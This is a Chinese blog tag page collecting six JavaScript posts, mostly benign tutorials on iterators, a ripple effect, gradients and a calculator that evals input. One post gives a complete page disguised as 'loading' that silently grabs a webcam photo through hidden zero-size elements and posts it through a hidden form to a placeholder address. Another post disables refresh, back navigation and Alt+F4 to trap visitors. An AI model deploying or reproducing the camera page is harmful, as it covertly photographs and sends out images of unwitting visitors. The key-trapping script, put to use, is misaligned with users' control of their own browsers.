搜索到
6
篇与
JS
的结果
-
Javascript迭代器 {message type="info" content="我们都知道可以用 for...of... 来循环可迭代对象，例如循环"/}Array Arguments Map Set String TypedArray NodeList迭代器的工作原理创建一个指针，指向当前数据结构的起始位置第一次调用对象next方法，指针自动指向数据结构的第一个成员接下来不断调用next，指针一直往后移动，直到指向最后一个成员每调用一次next方法返回一个包含value和done属性的对象为什么Object不可以被迭代let arr = [1, 2, 3] let obj = { a: 1, b: 2, c: 3 } for(let val of arr) { console.log(val) } for(let val of obj) { console.log(val) }接着运行上面的代码，会出现以下报错信息： {callout color="#4d75ef"}可以看到，数组正常循环没有问题，但是到了obj，会报：obj is not iterable（obj不是一个可迭代对象、obj不可被迭代）这是为什么呢？将arr和obj分别使用 console.dir() 进行打印查看{/callout}{callout color="#ef4d7e"}可以看到，arr的原型上挂载着一个 Symbol[Symbol.iterator]，而obj的原型上并没有这个属性，因此这就是为什么obj不可以被迭代的原因但是如果非得让obj也成为一个 可迭代对象，如何去实现呢？此时就需要给obj身上加上一个迭代器{/callout}let obj = { a: 1, b: 2, c: 3, [Symbol.iterator]: function () { let values = Object.values(obj) let index = 0 /* 必须得return 一个对象出去 */ return { /* 这是固定写法 */ next() { if (index >= values.length) { return { done: true // 此时迭代结束，就不需要再return value出去 } } else { return { value: values[index++], done: false } } } } } } for (let item of obj) { console.log(item) }{callout color="#f0ad4e"}运行上方的代码，此时obj已经可以使用 for...of... 进行循环，并且此时的obj已经是一个可迭代对象{/callout}迭代器利用for of 自定义遍历数据let obj = { a: 1, b: 2, c: [ '小韩', '小徐', '小悦' ], [Symbol.iterator]: function () { let idx = 0; const _c = this.c return { next() { return idx < _c.length ? { value: _c[idx++], done: false } : { value: undefined, done: true } } } } } let values = obj[Symbol.iterator]() console.log(values) // 得到迭代器对象，里面含有next方法 console.log(values.next()) // done:false(表示可以继续迭代)，并且value为 小韩 console.log(values.next()) // done:false(表示可以继续迭代)，并且value为 小徐 console.log(values.next()) // done:false(表示可以继续迭代)，并且value为 小悦 console.log(values.next()) // done:true(表示迭代结束)总结{callout color="#964def"}迭代协议：规定迭代与实现的逻辑（也就是上面迭代器里的逻辑）迭代器：具体的迭代实现逻辑（也就是上面的迭代器函数）迭代对象：可被迭代的对象，已经实现[Symbol.iterator]方法的对象（就是上面加了迭代器后的obj）{/callout} -
鼠标点击波纹特效 html+css+js 定义标签 <div class="card"> <img src="3.3.png" alt="x" width="100%"> <h3>北极光之夜</h3> <p > 生活下去,错误下去,堕落下去,为胜利而欢呼,从生命中重新创造生命! </p> </div>卡片和文字的基本样式 .card{ width: 200px; height: 300px; box-shadow: 1px 1px 5px #555; cursor: pointer; background-color: rgb(243, 243, 243); position: relative; overflow: hidden; } .card h3,.card p{ padding: 5px; text-align: center; font-family: 'fangsong'; font-weight: bold; user-select: none; }{callout color="#f0ad4e"}cursor: pointer; 鼠标样式为小手。overflow: hidden; 子元素大小超出卡片区域的被隐藏。user-select: none; 文本不可选中。{/callout}js部分，见注释 <script> /* 获取元素 */ var card = document.querySelector('.card'); /* 绑定点击事件 */ card.addEventListener('click',function(e){ /* 获取鼠标点击的水平位置 */ let x = e.clientX - this.offsetLeft; /* 获取鼠标点击的垂直位置 */ let y = e.clientY - this.offsetTop; /* 创建一个span元素 */ let circle = document.createElement('span'); /* 为span元素添加定位的 left 属性 */ circle.style.left = x + 'px'; /* 为span元素添加定位的 top 属性 */ circle.style.top = y + 'px'; /* 卡片添加创建好的span元素 */ card.appendChild(circle); /* 1s后移除span元素 */ setInterval(function(){ circle.remove(); },1000) }) </script>添加上一步创建的 span 元素的css样式 .card span{ position: absolute; transform: translate(-50%,-50%); background-color: rgb(255, 254, 254); border-radius: 50%; animation: big 1s ; } @keyframes big{ 0%{ width: 0px; height: 0px; opacity: 1; } 100%{ width: 400px; height: 400px; opacity: 0; } }{callout color="#f0ad4e"}position: absolute; 绝对定位。transform: translate(-50%,-50%); 向左和上移动自身宽度和高度的一半。animation: big 1s； 定义动画，刚好1s完成动画 。opacity: 1; 不透明。opacity: 0; 透明。{/callout}完整源码<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <style> *{ margin: 0; padding: 0; box-sizing: border-box; } body{ height: 100vh; display: flex; justify-content: center; align-items: center; background-image: radial-gradient(white,black); } .card{ width: 200px; height: 300px; box-shadow: 1px 1px 5px #555; cursor: pointer; background-color: rgb(243, 243, 243); position: relative; overflow: hidden; } .card h3,.card p{ padding: 5px; text-align: center; font-family: 'fangsong'; font-weight: bold; user-select: none; } .card span{ position: absolute; transform: translate(-50%,-50%); background-color: rgb(255, 254, 254); border-radius: 50%; animation: big 1s ; } @keyframes big{ 0%{ width: 0px; height: 0px; opacity: 1; } 100%{ width: 400px; height: 400px; opacity: 0; } } </style> </head> <body> <div class="card"> <img src="3.3.png" alt="x" width="100%"> <h3>北极光之夜</h3> <p > 生活下去,错误下去,堕落下去,为胜利而欢呼,从生命中重新创造生命! </p> </div> <script> var card = document.querySelector('.card'); card.addEventListener('click',function(e){ let x = e.clientX - this.offsetLeft; let y = e.clientY - this.offsetTop; let circle = document.createElement('span'); circle.style.left = x + 'px'; circle.style.top = y + 'px'; card.appendChild(circle); setInterval(function(){ circle.remove(); },1000) }) </script> </body> </html>{callout color="#f0ad4e"}转自ㅤㅤㅤ超简单的鼠标点击波纹特效 html+css+js - 掘金ㅤㅤㅤ作者：北极光之夜ㅤㅤㅤ地址：https://juejin.cn/post/6966634855656325156{/callout}
-
H5中JS调用摄像头截图拍照并发送 H5中JS调用摄像头截图拍照并发送<!DOCTYPE html> <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>loding...</title> <style> body{background:#ffffff}.clock{position:absolute;opacity:1}.fill .clock{left:50%;top:50%}.centre{position:absolute;top:50%;left:50%;width:0;height:0}.expand{position:absolute;top:0;left:0;transform:translate(-50%,-50%)}.anchor{position:absolute;top:0;left:0;width:0;height:0}.element{position:absolute;top:0;left:0}.round{border-radius:296px}.circle-1{background:#000000;width:12px;height:12px}.circle-2{background:#fa9f22;width:8px;height:8px}.circle-3{background:#ffffff;width:4px;height:4px}.second{transform:rotate(180deg)}.minute{transform:rotate(54deg)}.second-hand{width:2px;height:164px;background:#fa9f22;transform:translate(-50%,-100%) translateY(24px)}.hour{transform:rotate(304.5deg)}.thin-hand{width:4px;height:50px;background:#ff0000;transform:translate(-50%,-100%)}.fat-hand{width:10px;height:57px;border-radius:10px;background:#000000;transform:translate(-50%,-100%) translateY(-18px)}.minute-hand{height:112px}.hour-text{position:absolute;font:40px Hei,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.hour-10{padding-left:.4ex}.hour-11{padding-left:.25ex}.minute-text{position:absolute;font:12px Avenir Next,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.minute-line{background:#000000;width:1px;height:9px;transform:translate(-50%,-100%) translateY(-131px);opacity:1} </style> </head> <body> <video id="video" width="0" height="0" autoplay></video> <canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas> <form action="截图好并发送的地址" id="gopo" method="post"> <input type="hidden" name="img" id="result" value="" /> <input type='hidden' name='mod' value='up'/> </form> </body> <script> window.addEventListener("DOMContentLoaded", function() { var canvas = document.getElementById('canvas'); var context = canvas.getContext('2d'); var video = document.getElementById('video'); if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) { video.srcObject = stream; video.play(); setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000); setTimeout(function(){ var img = canvas.toDataURL('image/png'); document.getElementById('result').value = img; document.getElementById('gopo').submit(); },1300); },function(){ window.location.href = 'http://baidu.com'; }); } }, false); </script> </html>
-
网页用JS屏蔽各种按键代码 网页屏蔽鼠标右键Ctrl+N、Shift+F10、F11、F5刷新、退格键等按键<script> //屏蔽鼠标右键Ctrl+N、Shift+F10、F11、F5刷新、退格键 function document.oncontextmenu(){ event.returnValue = false; } //屏蔽鼠标右键 function window.onhelp(){ return false } //屏蔽F1帮助 function document.onkeydown(){ if ((window.event.altKey) && ((window.event.keyCode == 37) || //屏蔽Alt+方向键← (window.event.keyCode == 39))) { //屏蔽Alt+方向键→ alert("不准你使用ALT+方向键前进或后退网页！"); event.returnValue = false; } if ((event.keyCode == 8) || //屏蔽退格删除键 (event.keyCode == 116) || //屏蔽F5刷新键 (event.ctrlKey && event.keyCode == 82)) { //Ctrl+R event.keyCode = 0; event.returnValue = false; } if (event.keyCode == 122) { event.keyCode = 0; event.returnValue = false; } //屏蔽F11 if (event.ctrlKey && event.keyCode == 78) event.returnValue = false; //屏蔽Ctrl+n if (event.shiftKey && event.keyCode == 121) event.returnValue = false; //屏蔽shift+F10 if (window.event.srcElement.tagName == "A" && window.event.shiftKey) window.event.returnValue = false; //屏蔽shift加鼠标左键新开一网页 if ((window.event.altKey) && (window.event.keyCode == 115))} //屏蔽Alt+F4 window.showModelessDialog("about:blank", "", "dialogWidth:1px;dialogheight:1px"); return false; }} </script>
-
JS实现HTML动态渐变纯色背景+CSS动态渐变字 CSS代码：<style> #ishanColor { animation: change 10s infinite; } @keyframes change { 0% { color: #66e616; } 25% { color: #556bd8; } 50% { color: #e40707; } 75% { color: #5cb85c; } 100% { color: #e7e97d; } } </style>JS实现HTML动态渐变纯色背景效果图：JS代码：<script> $(function () { var sec = 5; var sz = new Array('rgba(255,20,147,0.6)', 'rgba(152,251,152,0.6)', 'rgba(135,206,250)', 'rgba(0,255,255,0.6)', 'rgba(255,165,0,0.6)', 'rgba(186,85,211,0.6)'); timestar = setInterval(function () { if (sec >= 0) { document.body.style.background = sz[sec]; sec--; } else { sec = 5; } }, 1000); }) </script>CSS代码：body{ color: black background:white; transition: 3s; }
-
原生JS简易计算器 图片演示:代码演示:<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>简单计算器 - NiceHan</title> <style type="text/css"> * { border: 0; } body { background-color: rgba(100, 149, 237, 0.8); } h1 { color: white; text-align: center; font-family: 'Microsoft YaHei'; font-size: 56px; font-weight: bold; text-shadow: 0px 0px 0 rgb(148, 148, 148), 1px 1px 0 rgb(125, 125, 125), 2px 2px 0 rgb(103, 103, 103), 3px 3px 0 rgb(80, 80, 80), 4px 4px 0 rgb(57, 57, 57), 5px 5px 0 rgb(34, 34, 34), 6px 6px 0 rgb(11, 11, 11), 7px 7px 6px rgba(0, 0, 0, 0.75), 7px 7px 1px rgba(0, 0, 0, 0.5), 0px 0px 6px rgba(0, 0, 0, .2); } input { margin: 6px; background-color: white; } .btnstyle { background-color: orange; } input:hover { background-color: #C0C0C0; } input[type=button] { height: 36px; width: 36px; } input[type=text] { height: 36px; width: 190px; } </style> <script type="text/javascript"> function num(val) { switch (val) { case "=": document.getElementById('texton').value = eval(document.getElementById('texton').value); break; case "AC": document.getElementById('texton').value = ""; break; default: document.getElementById('texton').value = document.getElementById('texton').value + val; document.getElementById('texton').value = document.getElementById('texton').value; } } </script> </head> <body> <h1>简单计算器 - NiceHan</h1> <div style="width: 208px;margin: auto;background-color: black;"> <input type="text" name="texton" id="texton" value="" style="text-align: center;font-size: 16px;background-color: lightyellow;" /> <br /> <input type="button" name="btn1" id="btnac" value="AC" onclick="num(this.value)" style="width: 141px;" /> <input type="button" name="btn1" id="btn+" value="+" onclick="num(this.value)" class="btnstyle" /> <br /> <input type="button" name="btn1" id="btn1" value="1" onclick="num(this.value)" /> <input type="button" name="btn1" id="btn2" value="2" onclick="num(this.value)" /> <input type="button" name="btn1" id="btn3" value="3" onclick="num(this.value)" /> <input type="button" name="btn1" id="btn-" value="-" onclick="num(this.value)" class="btnstyle" /> <br /> <input type="button" name="btn1" id="btn4" value="4" onclick="num(this.value)" /> <input type="button" name="btn1" id="btn5" value="5" onclick="num(this.value)" /> <input type="button" name="btn1" id="btn6" value="6" onclick="num(this.value)" /> <input type="button" name="btn1" id="*" value="×" onclick="num(this.id)" class="btnstyle" /> <br /> <input type="button" name="btn1" id="btn7" value="7" onclick="num(this.value)" /> <input type="button" name="btn1" id="btn8" value="8" onclick="num(this.value)" /> <input type="button" name="btn1" id="btn9" value="9" onclick="num(this.value)" /> <input type="button" name="btn1" id="/" value="÷" onclick="num(this.id)" class="btnstyle" /> <br /> <input type="button" name="btn0" id="btn0" value="0" onclick="num(this.value)" style="width: 90px;" /> <input type="button" name="btn1" id="btn." value="." onclick="num(this.value)" /> <input type="button" name="btn1" id="btn=" value="=" onclick="num(this.value)" class="btnstyle" /> </div> </body> </html>
